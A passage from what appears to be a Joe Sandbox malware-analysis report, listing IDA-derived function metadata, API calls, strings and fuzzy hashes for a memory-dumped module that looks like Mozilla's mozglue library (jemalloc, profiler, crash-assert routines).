Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 6fcd4c8d910da525eeba813c1edd92d61dbca45b7c9fc98d7c1482ab9c6ef371
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8DA18CB5A01215CFDB40CF69C88075AB7B5FF48308F2A41A9D909AF742D775E986CFA0

Function 6CAC2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CAE3F47,?,?,?,6CAE3F47,6CAE1A70,?), ref: 6CAC207F
memset.VCRUNTIME140(?,000000E5,6CAE3F47,?,6CAE3F47,6CAE1A70,?), ref: 6CAC20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CAE3F47,6CAE1A70,?), ref: 6CAC211A
EnterCriticalSection.KERNEL32(6CB4E744,?,6CAE3F47,6CAE1A70,?), ref: 6CAC2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CAE3F47,6CAE1A70,?), ref: 6CAC21BA
EnterCriticalSection.KERNEL32(6CB4E744,?,6CAE3F47,6CAE1A70,?), ref: 6CAC21E0
LeaveCriticalSection.KERNEL32(6CB4E744,?,6CAE3F47,6CAE1A70,?), ref: 6CAC2232

Strings

MOZ_CRASH(), xrefs: 6CAC227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CAC2253, 6CAC2268

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: ebad5e173d1d227b1aad7f4485e8c8b132ed11833a83e42da93f5510d8e875bd
Instruction ID: fbccf202ea788222acf6a847a52ab2eca01c238c5dd30f782b9544b941f49807
Opcode Fuzzy Hash: ebad5e173d1d227b1aad7f4485e8c8b132ed11833a83e42da93f5510d8e875bd
Instruction Fuzzy Hash: B061E731F042168FCB04DF69C989B6E77B1BF95328F298335E624A7A94D7709C84C792

Function 6CAC48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CB0483A,?), ref: 6CAC4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CB0483A,?), ref: 6CAC4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CB0483A,?), ref: 6CAC4A82

Part of subcall function 6CADCA10: mozalloc_abort.MOZGLUE(?), ref: 6CADCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CB0483A,?), ref: 6CAC4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CB0483A,?), ref: 6CAC4A35

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CB0483A,?), ref: 6CAC4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CB0483A,?), ref: 6CAC4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CB0483A,?), ref: 6CAC4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CB0483A,?), ref: 6CAC4B2C

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 4be33fcb3b274407bccfc2e3a001d85887d3ea8e583b31975d22cf554c50bc3a
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 40717BB1A007069FC714CF68C580AAAB7F5FF08308B504A3EE15A9BB51E731F599CB85

Function 6CB19D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB18273), ref: 6CB19D65
free.MOZGLUE(6CB18273,?), ref: 6CB19D7C
free.MOZGLUE(?,?), ref: 6CB19D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB19E0F
free.MOZGLUE(6CB1946B,?,?), ref: 6CB19E24
free.MOZGLUE(?,?,?), ref: 6CB19E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB19EC8
free.MOZGLUE(6CB1946B,?,?,?), ref: 6CB19EDF
free.MOZGLUE(?,?,?,?), ref: 6CB19EF5

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ac13d5d7d4bd59c0c750128f9d06fe26fb907556da472920bfe22e053f82d846
Instruction ID: 2168101b6a518a05f53d465d4dee023b39a33af63bd3b0ab8815b1d268eb7f49
Opcode Fuzzy Hash: ac13d5d7d4bd59c0c750128f9d06fe26fb907556da472920bfe22e053f82d846
Instruction Fuzzy Hash: 2E719D71909B818BD712CF18D58055BF3F4FF99315B448659E89A9BB01EB30E8C9CBC2

Function 6CB1DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB1DDCF

Part of subcall function 6CAFFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFFA4B

Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB190FF
Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB19108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1DE0D
free.MOZGLUE(00000000), ref: 6CB1DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB0DEFD,?,6CAD4A68), ref: 6CB1DF32

Part of subcall function 6CB1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB1DB86
Part of subcall function 6CB1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB1DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB0DEFD,?,6CAD4A68), ref: 6CB1DF65
free.MOZGLUE(?), ref: 6CB1DF80

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: dea8123cb9d71ac6961c1ba773fd0489f1497fe1d0c5cdc825e2eb7970c2ac47
Instruction ID: d6f1e10dc149d59d8193cbaed3900897585db2ad16dfc7967bb4c88eeb0672e8
Opcode Fuzzy Hash: dea8123cb9d71ac6961c1ba773fd0489f1497fe1d0c5cdc825e2eb7970c2ac47
Instruction Fuzzy Hash: 8351D5736096509BDB229B38E8806AEB3B6FF95709F95051CD81A53F00DB31F959CBC2

Function 6CB25D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25DC9
std::_Facet_Register.LIBCPMT ref: 6CB25DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25E45

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 238dd6cfbf75d53e36ec407f3293c8e0e9a7e4a9748d3178171ee4168d6ab2ff
Instruction ID: fb16c482555c161eaa131c56bfea58c49e385ceee3e9b3286813089906d4a19e
Opcode Fuzzy Hash: 238dd6cfbf75d53e36ec407f3293c8e0e9a7e4a9748d3178171ee4168d6ab2ff
Instruction Fuzzy Hash: E44194307042549FCB00EF69C898EAE77B5FF49358F544068E60997795EB34EC09CB55

Function 6CAFCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAC31A7), ref: 6CAFCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAFCFA4, 6CAFCFB8
<jemalloc>, xrefs: 6CAFCF9F, 6CAFCFB3

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: f4b09be8860ec803bedbe3732d9b6409c145fa587b4a4711a69f56e9038796d5
Instruction ID: c9d3a7811ec9e4aa9d05b78097d05512f498f1681229c237837f3e5622471a26
Opcode Fuzzy Hash: f4b09be8860ec803bedbe3732d9b6409c145fa587b4a4711a69f56e9038796d5
Instruction Fuzzy Hash: FF31A7317442056BFF24AE6ACC45BAE7B75BB4171CF248014F625ABAC4DB70D5418B91

Function 6CACECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACF100: LoadLibraryW.KERNEL32(shell32,?,6CB3D020), ref: 6CACF122
Part of subcall function 6CACF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CACF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CACED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CACEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CACEDCC
CreateFileW.KERNEL32 ref: 6CACEE08
free.MOZGLUE(00000000), ref: 6CACEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CACEE32

Part of subcall function 6CACEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CACEBB5
Part of subcall function 6CACEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CAFD7F3), ref: 6CACEBC3
Part of subcall function 6CACEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CAFD7F3), ref: 6CACEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CACEDC1

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ba74ebd1e997cae3cef991a21069df27e1c277fed33cab793fcc7e0ea12c8b71
Instruction ID: e125dba41958417c8ff44e1023b3881b391a19be0f3bc70dc3d1370540d55401
Opcode Fuzzy Hash: ba74ebd1e997cae3cef991a21069df27e1c277fed33cab793fcc7e0ea12c8b71
Instruction Fuzzy Hash: C9511171E052589BDB01DF68C9426EEB7B0AF49318F48852DE8557B740EB30A9C8C7E3

Function 6CB3A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB3A565

Part of subcall function 6CB3A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB3A4BE
Part of subcall function 6CB3A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB3A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB3A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB3A6B6

Strings

0, xrefs: 6CB3A5FB
z, xrefs: 6CB3A6AE

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 3959567aa61b792c852948aef6e2882fb1aa07a1d671b46597eee65d2789dd6e
Instruction ID: bba2467b8b69f4eaad26b77f3b53b57c4a3039d935e28577918f4f64125fa9df
Opcode Fuzzy Hash: 3959567aa61b792c852948aef6e2882fb1aa07a1d671b46597eee65d2789dd6e
Instruction Fuzzy Hash: 7D414771A087459FC741DF28C080A8EBBE4BF89344F509A2EF49987650EB30E549CB83

Function 6CAC78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CB4008B), ref: 6CAC7B89
free.MOZGLUE(?,6CB4008B), ref: 6CAC7BAC

Part of subcall function 6CAC78C0: free.MOZGLUE(?,6CB4008B), ref: 6CAC7BCF

free.MOZGLUE(?,6CB4008B), ref: 6CAC7BF2

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: b46b8a5a7bcf27ac1d46e2b8a2d41fa526779464e3c42c4d4808b787186faa4b
Instruction ID: 58b090cc65a752fb6dafdd01c7bf3c3303e0506cb2aa360c576d85a0a1c6a9af
Opcode Fuzzy Hash: b46b8a5a7bcf27ac1d46e2b8a2d41fa526779464e3c42c4d4808b787186faa4b
Instruction Fuzzy Hash: 11C1A231F051288BEB24CB68DD90B9DB772AF41318F1546A9D51AEBBC0C7319EC98F52

Function 6CB09420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
__Init_thread_footer.LIBCMT ref: 6CB0949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB0946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB09459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB0947D

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1425f7f118d956e4ddcea96ad9dc8bd66472b3ed982f9d178563909b06af5199
Instruction ID: a684207471f79d3e37432681b0c0f388623947251bc8909d1fd97e6c29a32886
Opcode Fuzzy Hash: 1425f7f118d956e4ddcea96ad9dc8bd66472b3ed982f9d178563909b06af5199
Instruction Fuzzy Hash: 3A012874F0814187D720AB5CD800A8A37BAFB0537DF058536E90687B45EA31D8698957

Function 6CB10F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB10F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB10F88
GetCurrentThreadId.KERNEL32 ref: 6CB10FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CB11067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CB110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CB1114B

Part of subcall function 6CB08AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB21563), ref: 6CB08BD5

free.MOZGLUE(?), ref: 6CB11174
free.MOZGLUE(?), ref: 6CB11186

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: babd3f7459cb3c46bdaf182dfbe69a8478a985c8e1ce4b0c3a9fc0995fecbdb3
Instruction ID: f152f08981b0ec1e7073e9a36e27e8fb59a1a2c5f337d5f036a01a9cd0b8e4fb
Opcode Fuzzy Hash: babd3f7459cb3c46bdaf182dfbe69a8478a985c8e1ce4b0c3a9fc0995fecbdb3
Instruction Fuzzy Hash: A161CD75A083808BCB10DF24D880BAEB7F5BFD5318F04891DE88947B11EB31E499CB82

Function 6CACB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB6AC

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CACB61E), ref: 6CACB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB79A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 7aa756bf7f177b794a95054c1e0e7e04d10f232e9d1ba9d666f53726decd8015
Instruction ID: 38257e71f7f317aa1716d2f02d3a5dcb5095295bdf5efbd374a1bc8e24387ced
Opcode Fuzzy Hash: 7aa756bf7f177b794a95054c1e0e7e04d10f232e9d1ba9d666f53726decd8015
Instruction Fuzzy Hash: 4541B6B2E001159FCB04DF68EC405AFB7B5BB54324F250769E825E7790D732A9548BD2

Function 6CACEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

